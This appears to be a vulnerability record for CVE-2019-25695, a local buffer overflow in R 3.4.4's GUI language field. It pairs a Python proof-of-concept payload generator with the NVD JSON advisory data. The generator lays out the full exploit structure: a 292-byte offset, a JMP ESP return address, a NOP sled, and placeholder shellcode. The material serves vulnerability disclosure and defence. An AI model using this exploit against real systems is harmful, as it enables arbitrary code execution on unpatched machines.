CVE-2019-25695

#!/usr/bin/env python3 # Proof of Concept Generator for CVE-2019-25695 # Offset to overwrite EIP based on vulnerability analysis offset = 292 # Return address (JMP ESP) - Address needs to be adjusted for the target OS version # Example: 0x77c35459 (common JMP ESP in msvcrt.dll on some systems) ret_addr = b"\x59\x54\xc3\x77" # NOP Sled nop_sled = b"\x90" * 32 # Shellcode (Example: executes calc.exe on Windows) # Note: Actual shellcode bytes are omitted for safety, replaced by placeholder shellcode = b"\xCC" * 50 # INT3 instruction placeholder def generate_payload(): # 1. Padding to reach EIP overwrite position payload = b"A" * offset # 2. Overwrite EIP with address pointing to JMP ESP payload += ret_addr # 3. NOP Sled to increase reliability of jump payload += nop_sled # 4. Actual Shellcode payload += shellcode return payload if __name__ == "__main__": buf = generate_payload() print(f"[*] Payload Length: {len(buf)}") print(f"[*] Payload (copy and paste into 'Language for menus and messages' field):") print(buf)

{"cve": {"id": "CVE-2019-25695", "sourceIdentifier": "[email protected]", "published": "2026-04-12T13:16:32.443", "lastModified": "2026-04-15T15:00:32.790", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "R 3.4.4 contains a local buffer overflow vulnerability that allows attackers to execute arbitrary code by injecting malicious input into the GUI Preferences language field. Attackers can craft a payload with a 292-byte offset and JMP ESP instruction to execute commands like calc.exe when the payload is pasted into the Language for menus and messages field."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://cloud.r-project.org/bin/windows/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46265", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/r-local-buffer-overflow-windows-xp-sp3", "source": "[email protected]"}]}}